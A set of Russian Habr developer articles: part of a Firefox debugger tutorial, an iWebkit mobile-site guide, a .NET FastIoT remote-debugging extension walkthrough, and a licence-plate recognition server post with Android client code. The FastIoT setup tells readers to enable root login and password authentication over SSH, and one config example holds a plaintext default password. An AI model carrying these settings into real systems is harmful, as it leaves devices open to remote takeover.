Вывод текста удалённой задачи в консольТаким образом мы можем консолить наш код, не добавляя `console.log` в сам код.
Правда, есть способ проще, чем вместо условия использовать вызов `console.log` — специальный пункт меню «Добавить логирование»:
Пункт «Добавить логирование» в контекстном менюУказать нужно лишь то, что мы хотим вывести в консоль, без `console.log`:
Выражение, которое нужно вывести в консольРезультат тот же:
Вывод текста удалённой задачи в консоль правильным способом
---
Совет в тему
------------
Бывает, что точку останова нужно указать прямо в коде, а не в отладчике. Для этого используют специальное слово `debugger`. При условии, что на странице открыты инструменты разработчика, выполнение кода будет приостановлено на строке с `debugger`:
```
const addTodo = e => {
debugger; // Выполнение кода будет приостановлено на этой строке
e.preventDefault();
const title = document.querySelector(".todo__input").value;
const todo = {
title,
done: false
};
items.push(todo);
saveList();
document.querySelector(".todo__add").reset();
};
```
Указывать точку останова повторно в отладчике не нужно.
Убедитесь сами! [Откройте версию приложения с debugger в коде](https://mozilladevelopers.github.io/sample-todo/code-breakpoint/) во вкладке с запущенными инструментами разработчика и попробуйте добавить задачу.
Выполнение кода будет приостановлено, хотя никаких точек останова вы не указывали. Это всё работа `debugger`.
---
Что дальше?
-----------
Надеюсь, эти статьи показали вам, что существуют способы отладки гораздо удобнее `console.log`. Ещё раз, использовать `console.log` — не стыдно, просто есть инструменты мощнее.
Узнать [больше про отладку и отладчик Firefox](https://developer.mozilla.org/ru/docs/Tools/Debugger), а также про [другие возможности инструментов разработчика](https://developer.mozilla.org/ru/docs/Tools), вы можете на MDN.
Кстати, отладчик Firefox написан с использованием JavaScript. Код отладчика и других инструментов разработчика общедоступен, а значит [вы можете поучаствовать в его разработке](https://codetribute.mozilla.org/projects/devtools).
Если вы пока не готовы участвовать в разработке браузера, а хотите начать с чего-то малого — помогите с русской версией документации по инструментам разработчика Firefox. Задачи есть разные: от правки опечаток, до написания новых статей. [Внести вклад в развитие MDN](https://developer.mozilla.org/ru/docs/MDN/Contribute) просто: нужен только профиль на GitHub и минимальные знания Git.
И, конечно же, устанавливайте Firefox, созданный специально для разработчиков. [Firefox Developer Edition](https://www.mozilla.org/ru/firefox/developer/) — это самые актуальные версии инструментов, экспериментальные функции, отдельный системный профиль, чтобы вы могли легко запускать браузер одновременно с обычным Firefox.
---
[Итоговая версия приложения со списком дел](https://mozilladevelopers.github.io/sample-todo/04-final/) | https://habr.com/ru/post/592095/ | null | ru | null |
# iWebkit как способ оптимизировать свой сайт под iPhone
iWebkit как способ оптимизировать свой сайт под iPhone.
Вчера мной была замечена библиотека разработки сайтов оптимизированных для iPhone и iPod Touch под названием [PastryKit](http://habrahabr.ru/blogs/web_design/79406/), библиотека включает в себя сборник из css и javascript. Все бы хорошо, но Apple не позаботилась о сторонних разработчиках и забыла (или не захотела) включить добавить документацию к своей разработке.
Недавно для меня была поставлена задача оптимизации моего сайта, для таких девайсов как iPhone, iPod Touch и для аппаратов использующих Android.
Для этого я выбрал другую, более легкую библиотеку под названием iWebkit, о которой сейчас и пойдет речь.
**Первый пост на Хабре, так что не ругайте особо.**
К моменту написания статьи iWebkit вырос до версии 4.6, что может означать, что он уже избавился от основных детских болезней и использование его в своих проектах не может вызвать никаких проблем.
### Примеры работы iWebkit
Для начала давайте рассмотрим то, что мы сможем получить при помощи iWebkit, то есть рассмотрим примеры сайтов, использующих данную библиотеку.
**Внимание:** Примеры лучше рассматривать на сайтах использующих webkit ([подробнее](http://en.wikipedia.org/wiki/WebKit)).
Первым примером служит официальная демо версия от создателей [iWebkit](http://demo.iwebkit.net/ "iWebkit").
[](https://habr.com/images/px.gif#%3D%22http%3A%2F%2Fimg40.imageshack.us%2Fi%2Fimg0474.png%2F%22)
[](https://habr.com/images/px.gif#%3D%22http%3A%2F%2Fimg40.imageshack.us%2Fi%2Fimg0478.png%2F%22)
[](https://habr.com/images/px.gif#%3D%22http%3A%2F%2Fimg40.imageshack.us%2Fi%2Fimg0480.png%2F%22)
[](https://habr.com/images/px.gif#%3D%22http%3A%2F%2Fimg189.imageshack.us%2Fi%2Fimg0479.png%2F%22)
Вторым примером может служить мой сайт [z-music.ru](http://z-music.ru) оптимизированный для iPhone и Android (Чтобы посмотреть оптимизированную версию, необходимо использовать iPhone или Android или изменить свой user agent).
[](https://habr.com/images/px.gif#%3D%22http%3A%2F%2Fimg191.imageshack.us%2Fi%2Fimg0475.png%2F%22)
[](https://habr.com/images/px.gif#%3D%22http%3A%2F%2Fimg85.imageshack.us%2Fi%2Fimg0477.png%2F%22)
[](https://habr.com/images/px.gif#%3D%22http%3A%2F%2Fimg191.imageshack.us%2Fi%2Fimg0476.png%2F%22)
### Рассматриваем iWebkit ближе.
Для начала работы, необходимо скачать библиотеку отсюда [iwebkit.net/downloads](http://iwebkit.net/downloads), если Вы используете cms (например: Drupal или Wordpress), тогда у Вас есть возможность скачать уже оптимированные плагины для них.
Структура сайта очень проста, для доработки Вам нужно взять каркас и дополнить его всем необходимым.
> `DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
>
> <html xmlns="http://www.w3.org/1999/xhtml">
>
>
>
> <head>
>
> <meta content="yes" name="apple-mobile-web-app-capable" />
>
> <meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
>
> <meta content="minimum-scale=1.0, width=device-width, maximum-scale=0.6667, user-scalable=no" name="viewport" />
>
> <link href="css/style.css" rel="stylesheet" type="text/css" />
>
> <script src="javascript/functions.js" type="text/javascript">script>
>
> <title>Заголовок сайтаtitle>
>
>
>
>
>
> <meta content="Кейворды,через,запятую" name="keywords" />
>
> <meta content="Описание вашего сайта" name="description" />
>
>
>
> head>
>
>
>
> <body>
>
>
>
> <div id="topbar">
>
> div>
>
> <div id="content">
>
>
>
>
>
> div>
>
> <div id="footer">
>
>
>
> <a class="noeffect" href="http://iwebkit.net">Powered by iWebKita>div>
>
>
>
> body>
>
>
>
> html>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
#### Простой список:
Сейчас рассмотрим, как можно сформировать сайт с простенькой структурой, например такой.
Необходимо взять наш каркас, который указан выше и добавить в контейнер `<div id="content">`
следующее:
> `<span class="graytitle">Заголовокspan>
>
> <ul class="pageitem">
>
> <li class="textbox">
>
> <ul>
>
> <li>Контентli>
>
> ul>
>
> li>
>
> ul>
>
> <ul class="pageitem">
>
> <li class="textbox">
>
> <ul>
>
> <li>Контент 2li>
>
> ul>
>
> li>
>
> ul>
>
>
>
> <span class="graytitle">Заголовок 2span>
>
> <ul class="pageitem">
>
> <li class="textbox">
>
> <ul>
>
> <li>Контент 3li>
>
> ul>
>
> li>
>
> ul>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Вот и наш простенький сайт готов, при необходимости, также можно отредактировать `<div id="topbar">`, который отвечает за заголовок.
Примеры реализации остальных функций, можно найти в папке Demo, скачанной библиотеки, или же почитать User Guide, который тоже идет в комплекте с библиотекой. | https://habr.com/ru/post/79446/ | null | ru | null |
# Простая разработка IoT приложений на C# для Raspberry Pi и других одноплатников, на Linux
Многие привыкли легко и просто программировать микроконтроллеры на платформе Arduino или [nanoFramework](https://habr.com/ru/company/timeweb/blog/584144/) (используется C#). Но как обстоит с разработкой IoT приложений на C# .NET для одноплатных компьютеров под Linux? В ответ услышите что нужно все устанавливать из командной строки, да и еще хорошо разбираться в Linux, там не так просто как с Arduino. Для настройки удаленной отладки необходимо выполнить множество различных действий, вручную настроить конфигурацию запуска, генерировать ключи доступа для пользователя, от имени которого будет запускать отладка, и т. д. Но теперь, благодаря расширению [.NET FastIoT](https://marketplace.visualstudio.com/items?itemName=devdotnetorg.vscode-extension-dotnet-fastiot) для Visual Studio Code, это не требуется делать. Черновую работу по установке необходимых пакетов и конфигурированию проекта для удаленной отладки сделает за вас расширение. Теперь вы можете полностью сфокусироваться на своем коде, не отвлекаясь на лишние задачи.
Предыстория
===========
Для начала рассмотрим, как ведется разработка и удаленная отладка .NET приложений в Linux без нового расширения. Обратимся к руководству [Debug .NET apps on Raspberry Pi](https://docs.microsoft.com/en-us/dotnet/iot/debugging?pivots=vscode&tabs=framework-dependent) от Microsoft.
Первое, открываем проект в [Visual Studio Code](https://code.visualstudio.com/) под Windows, далее компилируем проект под архитектуру ARM, и вручную переносим полученные бинарные файлы (сборки, ресурсы) на одноплатный компьютер. На одноплатном компьютере Raspberry/Banana/Orange/Rock/Nano Pi предварительно должен быть установлен Remote Debugger и [.NET Runtime](https://dotnet.microsoft.com/en-us/download) (в случае запуска приложения в формате Framework-dependent). Помимо этого, для каждого проекта вручную настраиваются параметры запуска в файле launch.json. И это мы не говорим про настройку прав доступа к файл-устройствам, если хотим работать с линиями GPIO, PWM, шиной I2C и т. д. не от имени пользователя root.
Пример файла **launch.json** для запуска .NET приложения как Framework-dependent:
```
"configurations": [
{
"name": ".NET Remote Launch - Framework-dependent",
"type": "coreclr",
"request": "launch",
"program": "~/dotnet/dotnet",
"args": ["~/sample/sample.dll"],
"cwd": "~/sample",
"stopAtEntry": false,
"console": "internalConsole",
"pipeTransport": {
"pipeCwd": "${workspaceRoot}",
"pipeProgram": "C:\\Program Files\\PuTTY\\PLINK.EXE",
"pipeArgs": [
"-pw", "raspberry",
"pi@raspberrypi"
],
"debuggerPath": "~/vsdbg/vsdbg"
}
},
```
Помимо Visual Studio Code в Windows, для отладки требуется еще терминал [PuTTY](https://www.putty.org/), с помощью него создается SSH-туннель для связи с отладчиком, кратко про про SSH-туннели в [блоге Timeweb Cloud](https://cloud.timeweb.com/blog/ssh-tunnels).
Обратите внимание, в файле **launch.json** содержится пароль пользователя в открытом виде, что не очень хорошо с точки зрения безопасности. Эту проблему решает вариант использование ключей для доступа по SSH-протоколу взамен пароля. Для этого придется генерировать пару ключей, публичный и приватный. Публичный ключ потребуется скопировать на одноплатный компьютер, затем внести его в конфигурационный файл *~/.ssh/authorized\_keys*. Более подробно об этом не быстром процессе — [Удаленная отладка приложения на .NET 5.0 в Visual Studio Code для ARM](https://devdotnet.org/post/udalennaya-otladka-net50-visual-studio-code-dlya-arm-banana-pi-bpi-m64-i-cubietruck-armbian-linux/). Как заметили, процесс организации удаленной отладки на Linux не такой простой как для Arduino.
Для комплексного решения задачи удаленной отладки появилась идея разработать расширение для Visual Studio Code. Расширение должно автоматизировать процесс разработки IoT приложений для одноплатных компьютеров и сделать процесс разработки таким же простым и понятным, как и для платформ Arduino и nanoFramework. Подобную задачу решает расширение [Torizon](https://developer.toradex.com/knowledge-base/net-core-development-and-debugging-on-torizon-using-visual-studio-code) от компании Toradex, но это расширение работает только с железом собственного производства и отладка выполняется в Docker-контейнерах.
Рассмотрим расширение .NET FastIoT, возможности и решаемые задачи.
.NET FastIoT VS Code Extension
==============================
Расширение настраивает встраиваемое устройство на архитектуре ARMv7 или ARMv8, работающее под Linux, для запуска .NET приложений, и конфигурирует проекты \*.csproj для удаленной отладки по ssh-туннелю. Работает только на Windows (64 бит).
[](https://habrastorage.org/webt/7v/g2/wh/7vg2whgt27jv2l_ze9vgnheuxhc.png)
*Интерфейс расширения .NET FastIoT*
**Описание:**
* **Активация.** Для активации расширения перейдите на кнопку расширения в главной панели;
* **Список устройств.** Содержит профили устройств. Можно добавлять, удалять устройства, а также экспортировать и импортировать из файла в формате json;
* **Окно выбора источника событий.** Из списка необходимо выбрать **.NET FastIoT**;
* **Журналирование событий**. Все события связанные с расширением отображаются в этом окне, в том числе ошибки с подробным отчетом.
Возможности расширения
======================
* Простая установка .NET SDK, .NET Runtimes, .NET Debugger (vsdbg), Libgpiod, Docker для Linux;
* Настройка проектов .NET для удаленной отладки, добавление переменных окружения (метод [Environment.GetEnvironmentVariable](https://docs.microsoft.com/en-us/dotnet/api/system.environment.getenvironmentvariable));
* Управление файлами наложения устройств (Device Tree overlays). Требуется для включения/выключения таких устройства как I2C, SPI, PWM, и т. д. Доступна удаленная загрузка файлов \*.DTS и включение/выключение «слоев». Более подробно в публикации [Работа с GPIO. Часть 2. Device Tree overlays](https://devdotnet.org/post/rabota-s-gpio-na-primere-banana-pi-bpi-m64-chast-2-device-tree-overlays/). Поддерживается только дистрибутив [Armbian](https://devdotnet.org/post/armbian-linux-distributiv-dlya-otladochnyh-plat-na-arm/). Для поддержки других дистрибутивов необходима реализация адаптера по интерфейсу [IDtoAdapter.ts](https://github.com/devdotnetorg/vscode-extension-dotnet-fastiot/blob/master/src/DTO/IDtoAdapter.ts). Пример реализации для Armbian — [IoTDTOArmbianAdapter.ts](https://github.com/devdotnetorg/vscode-extension-dotnet-fastiot/blob/master/src/DTO/IoTDTOArmbianAdapter.ts);
* Управление контактами GPIO (пока полностью не реализовано). Обнаружение доступных Gpiochip ~~и линий. Подача «0/1» на контакт, считывание состояния контакта. Формирование C# кода под выбранный контакт для переноса в проект один-к-одному.~~
Системные требования
====================
* **Версия ОС.** Windows 7-10 (x64). Версия для Linux появится позже;
* **Visual Studio Code.** версия не ниже [1.63](https://code.visualstudio.com/);
* **.NET.** Для компиляции проекта на C# требуется [.NET SDK](https://dotnet.microsoft.com/en-us/download/visual-studio-sdks) в зависимости от используемой версии вашего проекта (для работы самого расширения не требуется);
Дополнительные расширения необходимые для разработки .NET приложений:
* [C# for Visual Studio Code (powered by OmniSharp)](https://marketplace.visualstudio.com/items?itemName=ms-dotnettools.csharp) — поддержка разработки на C#;
* [NuGet Package Manager](https://marketplace.visualstudio.com/items?itemName=jmrog.vscode-nuget-package-manager) — добавление Nuget-пакетов (позже менеджер Nuget-пакетов будет встроен в расширение);
* [DeviceTree](https://marketplace.visualstudio.com/items?itemName=plorefice.devicetree) (опционально) — поддержка синтаксиса для файлов дерева устройств (Device Tree, DT). Используется для редактирования файлов \*.dts. Например, потребуется если возникнет необходимость адаптации [дисплея SPI LCD ILI9341](https://habr.com/ru/post/547180/) для вашего одноплатного компьютера.
Сторонние приложения:
* **cwRsync.** Из пакета используются утилиты rsync и ssh. Входит в состав расширения и копируется в папку по умолчанию *C:\RemoteCode\cwrsync\* (расположение изменяется в настройках). По желанию можете заменить пакет, загрузив с официального сайта по [ссылке](https://itefix.net/cwrsync). Терминал [PuTTY](https://www.putty.org/) не используется.
Сторонние bash-скрипты для установки пакетов/библиотек:
* [.NET SDK](https://dot.net/v1/dotnet-install.sh), [.NET Runtimes](https://dot.net/v1/dotnet-install.sh), [.NET Debugger (vsdbg)](https://aka.ms/getvsdbgsh), Libgpiod, [Docker](https://get.docker.com), загружаются с официальных сайтов разработчиков пакетов, за исключением библиотеки Libgpiod. Скрипт для установки данной библиотеки загружается с ресурса GitHub — [devdotnetorg/docker-libgpiod](https://raw.githubusercontent.com/devdotnetorg/docker-libgpiod/master/setup-libgpiod.sh). Далее, загруженный скрипт скачивает исходный текст библиотеки с официального репозитория [Libgpiod](https://git.kernel.org/pub/scm/libs/libgpiod/libgpiod.git/) и выполняется компиляция библиотеки.
Как работает расширение
=======================
Принцип работы расширения достаточно прост. Пользователь в интерактивном режиме указывает необходимые опции. Далее, в зависимости от задачи, соответствующий bash-скрипт копируется на одноплатный компьютер. Затем этот скрипт выполняется с параметрами, которые задал пользователь. Потом на устройстве происходит какая-то «магия». А после всей «магии», для удаленного запуска проекта конфигурируются файлы launch.json и tasks.json.
Быстрый старт
=============
### Шаг 1 — Подготовка устройства
Одноплатный компьютер должен работать под управлением дистрибутива Debian или Ubuntu, Linux. Для удаленного доступа необходимо установить ssh-сервер и задать определенные настройки. В качестве терминала для удаленного доступа можно использовать [MobaXterm](https://mobaxterm.mobatek.net/download.html) (существенно удобнее по сравнению с PuTTY терминалом). Если пакет *sudo* не установлен, то установите данный пакет от имени пользователя *root*, с помощью команд:
```
apt-get update
apt-get install -y sudo
```
ля установки ssh-сервера и настройки доступа выполните следующие команды на одноплатном компьютере:
```
sudo apt-get update
sudo apt-get install -y openssh-server mc
sudo systemctl reload ssh
sudo mcedit /etc/ssh/sshd_config
```
В открывшемся редакторе задайте следующие параметры. Если данные параметры отсутствуют, то просто вставьте строку (обычно отсутствует параметр AuthenticationMethods):
```
PermitRootLogin yes
PasswordAuthentication yes
ChallengeResponseAuthentication yes
AuthenticationMethods publickey keyboard-interactive password
```
Затем сохраните изменения и выйдите из редактора .
Перезапустите ssh-сервер для применения новых настроек:
```
sudo systemctl reload ssh
sudo systemctl status ssh
```
Последняя команда выводит текущий статус службы.
**Видео-инструкция настройки ssh-сервера для подключения расширения**
### Шаг 2 — Добавление устройства
При первом подключение создается пара ключей доступа, приватный и публичный. Приватный ключ копируется в папку *C:\RemoteCode\keys\* (расположение изменяется в настройках). Данный ключ используется для конфигурирования устройства и запуска удаленной отладки.
Важный момент заключается в выборе учетной записи для создания на устройстве. Первый вариант это учетная запись **debugvscode** (название можно изменить в настройках), второй вариант это **root**:
[](https://habrastorage.org/webt/qc/1e/pk/qc1epk2htl7tdwnhnnwtg_auy2m.png)
*Выбор учетной записи для создания на устройстве*
При выборе варианта **debugvscode** создаетcя файл настройки прав доступа [20-gpio-fastiot.rules](https://github.com/devdotnetorg/vscode-extension-dotnet-fastiot/blob/master/vscodetemplates/20-gpio-fastiot.rules) к устройствам используя подсистему [udev](https://ru.wikipedia.org/wiki/Udev). Создается группа с названием **iot**, и выдаются права на устройства, такие как: gpiochip, I2C, SPI, PWM, и т. д. Затем в эту группу добавляется пользователь **debugvscode**. В связи с тем, что тестирование выполнялось только на Armbian, возможно не все права доступа были добавлены. Поэтому, если возникнут проблемы с правами доступа к устройствам, то выбирайте — **root**.
Добавление нового устройства ([YouTube](https://youtu.be/pusO7PV4NL4)):
[](https://habrastorage.org/webt/p4/fv/fh/p4fvfh7k61v2x6fa6ffnapz2rli.gif)
### Шаг 3 — Установка пакетов
Минимально требуется установить два пакета:
* **.NET Runtime** — фреймворк для запуска NET приложений;
* **.NET Debugger** — отладчик для удаленной отладки.
**Libgpiod** — потребуется для доступа к контактам GPIO.
**Docker** — на будущее, для запуска отладки в контейнерах.
Установка пакетов ([YouTube](https://youtu.be/Y8U2V0THQh4)):
[](https://habrastorage.org/webt/yi/as/9r/yias9rmtp2mnkbtbyo_wnltv9ma.gif)
### Device Tree Overlays
Управление **файлами наложения для дерева устройств** используется для выключения/выключения устройств. Данные файлы загружаются в формате \*.dts (исходный файл для дерева устройств). Если для работы с GPIO у вас нет в наличие светодиодов, но есть светодиоды на самом одноплатном компьютере, то доступные светодиоды можно исключить из конфигурации дерева устройств, а затем управлять ими из .NET кода. Как это сделать в публикации [.NET IoT. Часть 2. Мигаем светодиодом (LED) используя библиотеку Libgpiod](https://devdotnet.org/post/dotnet-iot-chast-2-blink-led-using-library-libgpiod/).
### Шаг 4 — Создание конфигурации для удаленной отладки
После добавления устройства и установки пакетов, откройте проект формата \*.csproj.
Обратите внимание, если после открытия проекта в папке **/.vscode** появились файлы **launch.json** и **tasks.json**, то удалите эти файлы, иначе конфигурация не будет создана. Проблема связанна с добавлением VSCode комментариев "//" в файл \*.json, в результате при разборе возникает исключение. В следующей версии расширения будет добавлено игнорирование комментариев.
Нажимаем кнопку **Add Configuration**, выбираем проект и конфигурация создана. Для запуска проекта остается перейти в раздел **Run and Debug** и выбрать новую конфигурацию.
[](https://habrastorage.org/webt/yz/27/j5/yz27j5u2cwouci4wovy3eh25dsw.png)
*Выбор конфигурации для запуска проекта*
Запуск тестового примера [dotnet-iot-samples/dotnet-iot-fastiot-test](https://github.com/devdotnetorg/dotnet-iot-samples/tree/master/dotnet-iot-fastiot-test):
[](https://habrastorage.org/webt/m2/bv/63/m2bv63ln7tl7oynqfmdlbrazqfa.png)
Удаленная отладка консольного приложения .NET ([YouTube](https://youtu.be/oghH3oHIZgE)):
[](https://devdotnet.org/wp-content/uploads/4_Remote_debugging.gif)
В связи с тем, что в настройках **launch.json** и **tasks.json** прописываются абсолютные пути для задач и запуска проекта, требуется выполнить команду **Rebuild** в случаях изменения местоположения папки с утилитами **cwRsync** и самого проекта (изменение пути, включая переименование).
[](https://habrastorage.org/webt/_v/7s/gk/_v7sgke0hhvzgfs32fvkzr7_r2g.png)
*Перестройка конфигурации удаленной отладки*
В файле **launch.json** создается корневая конфигурация, затем создаются задачи в файле **tasks.json**:
1. Компиляция .NET проекта под архитектуру устройства;
2. Создание папки в домашней директории на устройстве для копирования бинарных файлов;
3. Копирование бинарных файлов, используя утилиту rsync.
[](https://habrastorage.org/webt/fc/qm/5w/fcqm5w3imgubvmaotj7eivqm1-k.png)
*Пример файла launch.json с конфигурацией для удаленной отладки*
[](https://habrastorage.org/webt/vq/ot/9a/vqot9axtu1kw4uoyhdymfhpntem.png)
*Пример файла tasks.json с конфигурацией для удаленной отладки*
**Пример использование библиотеки Libgpiod**
Проект GitHub [dotnet-iot-samples/dotnet-iot-blink](https://github.com/devdotnetorg/dotnet-iot-samples/tree/master/dotnet-iot-blink)
А как насчет удаленной отладки на VPS сервере?
==============================================
Расширение работает и с x86 серверами на Ubuntu, Debian. Казалось бы, зачем необходима удаленная отладка на сервере. На сервере помимо CPU, RAM и NVMe, может быть установлен GPU, модуль FPGA, NPU. А вам необходима отладка с использованием вычислений на графическом ускорителе или нейросетевом процессоре. Вот тут и пригодится расширение вместе с VSCode. Для теста выберем сервер на Debian 11:
[habrastorage.org/webt/ih/gh/no/ihghnoibrko60w\_dfokj\_gyy6hk.png](https://habrastorage.org/webt/ih/gh/no/ihghnoibrko60w_dfokj_gyy6hk.png)>
*Выбор VPS с Debian 11*
Подключимся к серверу, установим все необходимые пакеты, и запустим тестовый пример:
[](https://habrastorage.org/webt/c7/6z/bj/c76zbj3hq-rbn84huft6fx8ety8.png)
*Запуск тестового примера [dotnet-iot-samples/dotnet-iot-fastiot-test](https://github.com/devdotnetorg/dotnet-iot-samples/tree/master/dotnet-iot-fastiot-test) на x86 сервере Timeweb Cloud*
Дальнейший план разработки
==========================
Помимо оптимизации кода и доработки заявленных функций, планируется следующее:
* **Добавление метода аутентификации keyboard-interactive.** В текущей реализации необходимо изменять настройки ssh-сервера и включать доступ по паролю. После добавления метода keyboard-interactive, лишний раз не придется изменять настройки ssh-сервера;
* **Адаптация работы в Linux.** Для работы в Linux окружении требуется переписать код связанный с формирование путей к файлам;
* **Добавление отладки в Docker контейнерах**. В случае отсутствия возможности запустить Docker на устройстве требуется нативно устанавливать все библиотеки. Но если устройство поддерживает запуск Docker-контейнеров, то проще загрузить уже готовый контейнер с необходимыми библиотеками, и в нем выполнять отладку приложения;
* **Добавление отладки графических приложений на Avalonia и Uno Platform.** Поддержка отладки в Docker-контейнерах позволит подготавливать различные конфигурации, в том числе и с поддержкой графических подсистем;
* **Добавление формата описания DTS файлов.** Из названия файла не всегда достаточно понятно, какие устройства конфигурирует файл DTS;
* **Добавление менеджера Nuget-пакетов.** Интеграция более удобного менеджера пакетов, например как в Visual Studio.
* **По возможности вынесение параметров в настройки.** Пакеты для Linux устанавливаются по пути */usr/share/\**, что не всегда может быть удобно. Поэтому подобные параметры будут вынесены в настройки расширения.
Итог
====
Первоначальная идея только конфигурирования файлов .NET проекта превратилась в полноценный инструмент для работы с IoT проектами. На данный момент не все функции реализованы. Скорость выполнения кода и скриптов далека от желаемой, в связи с отсутствием оптимизации. Первоначальная задача разработки расширения заключалась в предоставление рабочего варианта, и получение обратной связи. Пишите в комментариях, что вам понравилось, что не понравилось, свои предложения по улучшению. В связи с реализованной частью создания профиля устройств, возможно, добавить поддержку проектов для Python. Инструкция от Microsoft для [Python debugging in VS Code](https://code.visualstudio.com/docs/python/debugging) тоже не маленькая. Пишите в комментарии, что вы об этом думаете?
Благодарю всех, кто принимал участие и помогал в создании и улучшении постов. Подписывайтесь на блог [Timeweb Cloud](https://habr.com/ru/company/timeweb/blog/), заказывайте [VPS](https://timeweb.com/ru/help/display/DOC/VDS) сервера и изучайте Docker, в следующем году плотно займемся построением облачной инфраструктуры для IoT решений. К облаку подключим устройства .NET IoT Linux, микроконтроллеры с [nanoFramework](https://habr.com/ru/company/timeweb/blog/584144/) и обычные бытовые сетевые фильтры/розетки/кофеварки и т. д. В блог добавятся темы связанные с разработкой для RISC-V процессоров, научимся собирать свой дистрибутив и создавать на IoT решения. Благодарю за уделенное время, всех поздравляю с Новым Годом, впереди нас ждет только лучшее!
Ресурсы
=======
* [Расширение .NET FastIoT в Marketplace Visual Studio Code](https://marketplace.visualstudio.com/items?itemName=devdotnetorg.vscode-extension-dotnet-fastiot)
* GitHub — [devdotnetorg/vscode-extension-dotnet-fastiot](https://github.com/devdotnetorg/vscode-extension-dotnet-fastiot)
* Тестовый пример на C# для удаленной отладки GitHub — [dotnet-iot-samples/dotnet-iot-fastiot-test](https://github.com/devdotnetorg/dotnet-iot-samples/tree/master/dotnet-iot-fastiot-test)
* Пример Blink на C# с использованием GPIO (библиотека Libgpiod) GitHub — [dotnet-iot-samples/dotnet-iot-blink](https://github.com/devdotnetorg/dotnet-iot-samples/tree/master/dotnet-iot-blink)
[](https://cloud.timeweb.com/?utm_source=habr&utm_medium=banner&utm_campaign=cloud&utm_content=direct&utm_term=low) | https://habr.com/ru/post/597601/ | null | ru | null |
# Распознавание номеров: от А до 9. Часть 3
Неделю назад мы опубликовали [статью](http://habrahabr.ru/post/222539/) про открытый сервер для распознавания изображений автомобильных номеров. Теперь, как и обещали, статья про то, как отправлять на него свои фотографии с номерами. Наша цель была, как вы помните, вовсе не ругаться друг на друга неприличными словами, а именно сделать функционирующий сервер в интернете, который справляется с фотографиями и отправляет назад результат распознавания.
(часть фотографий, присланных в течение недели)
Хочется рассказать еще и о том, как мы — программисты, ворочающие нос от интернет технологий и Linux, — решали проблему с сервером.
Все мысли по поводу настоящего шумного компьютера под ухом, протягивание кабеля на кухню и переговоров с провайдером про реальный IP, были отброшены, как не соответствующие новым реалиям (со всех сторон только и говорят про облачные сервисы и прочие новинки). Но еще хотелось удобства, привычного Windows, dotNET, да и вообще возможности по-живому отлаживаться на сервере. Посему было решено: виртуальный сервер с Windows Server и удаленный рабочий стол.
Хочу передать огромное спасибо терпеливым и вежливым парням в техподдержке! Так что справились.
Да-да, вот так все просто выглядит. Это принтскрин с удаленного доступа к виртуальному серверу (да не сочтите это рекламой Windows Server 2012 R2).
Затем надо было написать http ответчик. Хотелось как можно проще и не связываться с IIS, нужно было уложиться в пару дней на разработку. Но оказалось очень просто скачать пример [SimpleHttpServer](http://www.codeproject.com/Articles/137979/Simple-HTTP-Server-in-C) и в функцию:
```
public override void handlePOSTRequest(HttpProcessor p, StreamReader inputData) {
Console.WriteLine("POST request: {0}", p.http_url);
string data = inputData.ReadToEnd();
p.outputStream.WriteLine("test server
===========
");
p.outputStream.WriteLine("[return](/test)");
p.outputStream.WriteLine("postbody:
```
{0}
```
", data);
}
```
вписывать нужную обработку. Надеюсь, мы не нарушили никакой лицензии.
А тем специалистам Web безопасности, у которых сейчас на спине зашевелились волосы от такой реализации… огромный привет и приглашение сделать нам все по умному!
#### Доступ к серверу
Сервер распознавания работает, как очень простой http сайт. Пользователь отправляет на страницу post-сообщение в формате http, в котором содержится лишь один параметр — изображение. В ответ получает результат распознавания.
Для запроса из БД, если в этом есть необходимость, нужно отправить 2 строки: автомобильный номер в текстовом виде и уникальный ID.
В Android программе было 3 запроса, их код выглядит следующим образом:
1) отправка предварительно выделенного номера серверу:
```
HttpClient httpclient = new DefaultHttpClient();
final HttpParams httpParameters = httpclient.getParams();
HttpConnectionParams.setConnectionTimeout(httpParameters, 10 * 1000);
HttpConnectionParams.setSoTimeout (httpParameters, 10 * 1000);
//Создаём Http запрос и прилагаем к нему файл изображения
HttpPost httppost = new HttpPost("http://212.116.121.70/:10000/result");
InputStreamEntity reqEntity;
httppost.setEntity(new FileEntity(new File(FileName), "application/octet-stream"));
//Получаем ответ от сервера
try {
HttpResponse response = httpclient.execute(httppost);
HttpEntity responseEntity = response.getEntity();
ans = EntityUtils.toString(responseEntity);
String[] strs=ans.split("\r\n");
if(strs.length>2)
{
ans=strs[0]; //Получаемый от сервера распознанный номер
timesWas=Integer.parseInt(strs[1]); //Сколько раз он встречался в базе
ID=strs[2]; //Унакальный ID текущей операции
}
} catch (ClientProtocolException e) {
e.printStackTrace();
ans = "NOT CONNECT";
} catch (IOException e) {
e.printStackTrace();
ans = "NOT CONNECT";
}
```
2) отправка запроса по номеру:
```
HttpClient httpclient = new DefaultHttpClient();
final HttpParams httpParameters = httpclient.getParams();
HttpConnectionParams.setConnectionTimeout(httpParameters, 10 * 1000);
HttpConnectionParams.setSoTimeout (httpParameters, 10 * 1000);
HttpPost httppost = new HttpPost("http://212.116.121.70:10000/checkplate");
InputStreamEntity reqEntity;
try {
httppost.setEntity(new StringEntity( editText1.getText().toString()+"\r\n"+ID));
HttpResponse resp = httpclient.execute(httppost);
HttpEntity ent = resp.getEntity();
String ans = EntityUtils.toString(ent);
timesWas=Integer.parseInt(ans);
textView.setText("Уже обозвали раз: "+Integer.toString(timesWas));
} catch (ClientProtocolException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}catch(Exception e)
{
e.printStackTrace();
}
```
3) «ругань» на номер:
```
HttpClient httpclient = new DefaultHttpClient();
final HttpParams httpParameters = httpclient.getParams();
HttpConnectionParams.setConnectionTimeout(httpParameters, 10 * 1000);
HttpConnectionParams.setSoTimeout (httpParameters, 10 * 1000);
HttpPost httppost = new HttpPost("http://212.116.121.70:10000/swear");
InputStreamEntity reqEntity;
try {
httppost.setEntity(new StringEntity( editText1.getText().toString()));
HttpResponse resp = httpclient.execute(httppost);
HttpEntity ent = resp.getEntity();
String ans = EntityUtils.toString(ent);
textView.setText("Обозван");
} catch (ClientProtocolException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}catch(Exception e)
{
e.printStackTrace();
}
```
